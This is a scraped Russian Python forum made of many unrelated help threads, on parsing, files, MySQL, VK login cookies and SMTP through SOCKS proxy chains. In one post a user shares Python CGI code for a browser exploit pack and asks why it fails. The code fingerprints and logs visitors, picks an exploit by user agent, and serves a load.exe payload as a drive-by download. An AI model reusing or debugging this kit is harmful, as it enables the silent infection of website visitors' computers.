Я почему то думал будет намного больше, если чесно. Просто в моем первом варианте если маски использовать только для t=2 выходило около 4 тис варианов)) а теперь понял что реально не сильно много получается, спасибо за помощь еще раз!!!
OpenGL Помогите прилепить текстуру, сделал все по мануалу а выходит хрень. Вместо того чтоб заполнить квадратик налезает на линии ,причем каждый раз по разному Пы.Сы шафл тут ни причем Скрипт на питоне, пое S60 http://upwap.ru/1422723
Всем привет. недавно совсем решил получше узнать данный язык, и попутно разбирался с эксплойтами. Случайно натолкнулся на проект 2009 года в хакере где описывалось как создать связку сплойтов. Вроде быстро все поставил как описывалось нашел пару эксплойтов вставил, как там и описано происходит срабатывание но оно и понятно там элементарно это происходит но суть в том что при срабатывании эксплойт не хочет подгружать нужный файл. вот код: import msvcrt msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY) Далее следуют обычные строчки с типом контента и вывод в буфер вывода: sys.stdout.write( \ file(r"./data/load.exe", "rb").read() ) Кстати если что вот ссылка там подробно все и расписано: Ссылка
В том то и дело что все работает на винде. Постараюсь вкратце объяснить суть дела. На серваке у нас есть индексная страница: PHP: #!/usr/bin/python # -*- coding: utf-8 -*- import os import sqlite3 import pygeoip url = 'http://sploit/python/load.py' ip = os.environ.get("REMOTE_ADDR",'127.0.0.1') ua = os.environ.get("HTTP_USER_AGENT",'') rf = os.environ.get("HTTP_REFERER",'') gi = pygeoip.GeoIP('./pygeoip/GeoIP.dat') cc = gi.country_code_by_addr(ip) conn = sqlite3.connect('./data/base.db') conn.execute('INSERT INTO enter (ip, ua, rf, cc) VALUES (?,?,?,?)',(ip,ua,rf,cc)) conn.commit() conn.close() for fname in os.listdir('sploits'): #Перебираем все файлы из папки sploits if fname.endswith('.py'): #Если файл заканчивается на '.py' plugin_name = fname[:-3] #Обрезаем последние 3 буквы if plugin_name != '__init__': #Если имя файла не '__init__' plugins = __import__('sploits.'+plugin_name) #Загружаем плагин в переменную plugin = getattr(plugins,plugin_name) #Достаем плагин с переменной if plugin.init(ua): #если на входе 1 то запускаем plugin.run(url) exit() #иначе страница с ошибкой print 'Status: 404 Not Found' print 'Content-type: text/html' print print 'Not Found' Url у нас ссылается на: PHP: !/usr/bin/python # -*- coding: utf-8 -*- import os,sys import sqlite3 import pygeoip from StringIO import StringIO ip = os.environ.get("REMOTE_ADDR",'127.0.0.1') ua = os.environ.get("HTTP_USER_AGENT",'') rf = os.environ.get("HTTP_REFERER",'') gi = pygeoip.GeoIP('./pygeoip/GeoIP.dat') cc = gi.country_code_by_addr(ip) conn = sqlite3.connect('./data/base.db') conn.execute('INSERT INTO load (ip, ua, rf, cc) VALUES (?,?,?,?)',(ip,ua,rf,cc)) conn.commit() conn.close() try: # Windows only import msvcrt msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY) except ImportError: pass print 'Content-Type: application/x-octetstream' print 'Content-Disposition: plugin; filename=load.exe' print 'Content-Title: load.exe' print sys.stdout.write( file(r"./data/load.exe", "rb").read() ) Так вот во первых при срабатывании эксплойта а он реально срабатывает, у нас должен приступить к работе второй код который лежит в отдельном файле НО ничего подобного не происходит. Эксплойт например просто накрывает браузер и все на этом и конец((((( Из-за чего так происходит? Вот на всяк случай еще код файла с эксплойтом: PHP: def init(ua): if ua.find ('Windows NT') and ua.find ('Presto/2.6.3'): return 1 return 0 def run(url): print "Content-type: text/html" print print '''(код эксплойта)''' Может я конечно не допонял но файл который содержит эксплойт должен выглядеть как последний код, то есть из двух функций которая как раз возвращает единицу и соответственно запуска эксплойта.
Входные данные: В единственной строке входного файла INPUT.TXT записано два натуральных числа через пробел Выходные данные: В единственную строку выходного файла OUTPUT.TXT нужно вывести одно целое число — сумму чисел А и В Чем короче и быстрее кодес - тем лучше. Вот, что я написал. Как можно реализовать закрытие файлов ?
skM а нафига вам короче и быстрее? Короче будет так: Code: open('output.txt','wb').write(sum(map( int,open('input.txt','rb').read().trim().split() ))) Они закрываются сами
Code: open('output.txt','wb').write(sum(map( int,open('input.txt','rb').read().trim().split() ))) только перед sum еще нужно же str() а так да, спасибо.
Приветствую. Имеется такой вопрос. ------- Вводная. С помошью smtplib отправляю письма. Нужно научить отправлять письма через сокс прокси. Если сокс через который отправляется письмо указывается явно то отправляется нормально . А вот если сокс использует цепочку прокси - ничего не работает. Задача. У меня вопрос как можно узнать ip и port сокса который является последним в цепочке ???
Доброе время суток уважаемые. Прошу подсказать верное направление в создании небольшого скрипта(куски уже обсуждали тут). Суть скрипта такова, он считывает некоторые параметры с веб страниц( для считывания надо залогониться) а затем ложит их в бд откуда это отображается при помощи пхп. Существует несколько типов "считывателей" и в зависимости от параметров ( коих 2) выбирается необходимый считываетель. На основе моего опыта я бы сделал некую функцию откуда проверялся бы параметр, а затем вызывалась функция нужного считывателя. Хочется узнать у более опытных, каков будет оптимальный вариант реализации данного проекта( если учесть что необходимо будет получать данные с 20-30 страницб при помощи 3-7 считывателей)? Мне необходимо повысить стабильность, снизив время исполнения и объём памяти. Что можете посоветывать? а также вопрос по реализации функции по обновлению счетчика. содал функицю передаю туда номер счётчика, его значение и переменную содержащую соединение. Ругается что тип неизвестен. Как реализовать это правельно? Code: import MySQLdb def updcntr(cntname,cntval, dbO): sqlq = 'UPDATE Counters SET `value` = %d where `nname`= "%s" ' % (cntval, cntname) dbO..query(sqlq) db = MySQLdb.connect("192.168.13.1","test","test","test" ) sql = 'SELECT * FROM Counters' db.query(sql) r = db.store_result() for row in r.fetch_row(100): wval.append([row[2],row[3]])
Такой вопрос, тыпаюсь отпарсить хтмл страницу. Пока страница так сказать "тестовая" т.е маленькая и не изобилует кодом, всё работает, но когда начинаю парсить более-менее весомые сайты отказывается работать, мол кривые стартовые теги. Код самого парсера: Code: from urllib import request from html.parser import HTMLParser, HTMLParseError URL = "http://mds.podfm.ru/150/" class MDSParser(HTMLParser): inHeading = False def handle_starttag(self, tag, attrs): if tag == "h1": self.inHeading = True def handle_data(self, data): if self.inHeading: print (data) def handle_endtag(self, tag): if tag == "h1": self.inHeading = False def openPage(URL): print("[-] Trying to open " + URL) try: quellcode = request.urlopen(URL).read() print("[+] Successful") return str(quellcode) except: print("[-] Error while opening URL") def main(): toParse = openPage(URL) # f = open("qc.txt".encode("utf-8"), "wb") # f.write(toParse) # f.close() podcast = MDSParser() try: podcast.feed(toParse) podcast.close() except HTMLParseError as e: print("[-] Error while parsing: " + str(e)) if __name__ == '__main__': main() Ошибка: Code: malformed start tag, at line 1, column 430 А там => xb0. "\xd Вообщем хезе.
FewG Далеко не все HTML страницы строго следуют стандартам. Попробуйте так Code: podcast = MDSParser(True) Плюс не следует преобразовывать utf8 текст с помощью str. Лучше делать так: Code: def openPage(URL): print("[-] Trying to open " + URL) try: quellcode = request.urlopen(URL).read() print("[+] Successful") return quellcode.decode('utf-8', 'replace') except: print("[-] Error while opening URL")
Авторизация вконтакте. Как залогиниться и получить куку? Смотрел запросы в wireshark и google chrome и всё равно, вот такой код: Code: def getCookie (email,password): host = 'http://vkontakte.ru/' headers = {'User-Agent' : 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729)', 'Host' : 'login.vk.com', 'Referer' : 'http://vkontakte.ru/', 'Connection' : 'keep-alive', 'Pragma' : 'no-cache', 'Cache-Control' : 'no-cache', } data = urllib2.urlopen(host) answer=data.read() print answer sValue = re.findall(r"ip_h: '.*?'", answer) print sValue hashed = re.findall(r"'.*?'",sValue[0]) print hashed print hashed[0][1:-1] data = urllib2.urlopen('http://login.vk.com/?al_frame=1&from_host=vkontakte.ru&ip_h='+hashed[0][1:-1]) print data.read() data = urllib2.urlopen('http://vkontakte.ru/login.php?act=slogin&al_frame=1&auto=1&to=') print data.read() host = 'http://login.vk.com/' headers = {'User-Agent' : 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13', 'Host' : 'login.vk.com', 'Referer' : 'http://vkontakte.ru', 'Connection' : 'close', 'Cookie' : 'remixlang=0; remixchk=5; remixsid=;', 'Pragma' : 'no-cache', 'Cache-Control' : 'no-cache' } post = urllib.urlencode({ 'act':'login', 'q':'1', 'al_frame':'1', 'expire':'', 'captcha_sid':'', 'captcha_key':'', 'from_host':'vkontakte.ru', 'ip_h': hashed[0][1:-1], 'email': email, 'pass':password}) conn = urllib2.Request(host,post,headers) data = urllib2.urlopen(conn) cookie_src = data.info().get('Set-Cookie') print data.info() cookie = re.sub(r'(expires=.*?;\s|path=\/;\s|domain=\.vkontakte\.ru(?:,\s)?)', '', cookie_src) return cookie Код с подсветкой . выдаёт 403 при передачи POST-запроса с валидными логином и паролем. Теоретически можно обойтись и без: Code: data = urllib2.urlopen('http://login.vk.com/?al_frame=1&from_host=vkontakte.ru&ip_h='+hashed[0][1:-1]) print data.read() data = urllib2.urlopen('http://vkontakte.ru/login.php?act=slogin&al_frame=1&auto=1&to=') print data.read() но эти запросы были, судя по логу ЧЯДНТ?
Kupa то что вы делаете не так, так это вы пишете на каком угодно языке, но не на питоне. Чтобы скрипт заработал - уберите строчки 'Host': 'url'. А чтобы всегда все работало - научитесь пользоваться модулями cookielib и re
Имеется код, выполняющий набор функций (в моем самоучительном варианте это система регистрации аккаунтов и администрирование их). Для выбора нужного действия я ввожу цифру и т.д. Мне нужно, чтобы после введения цифры и выполнения кода, выполнение кода не заканчиволось (по логике он и должен заканчиваться, т.к. больше условий нет), а возвращалось на пару пунктов назад. Code: #стартовая точка input = () if startch == '1': #что-то происходит #возвращается на стартовую точку Надеюсь, понятно объяснил. Как это можно реализовать?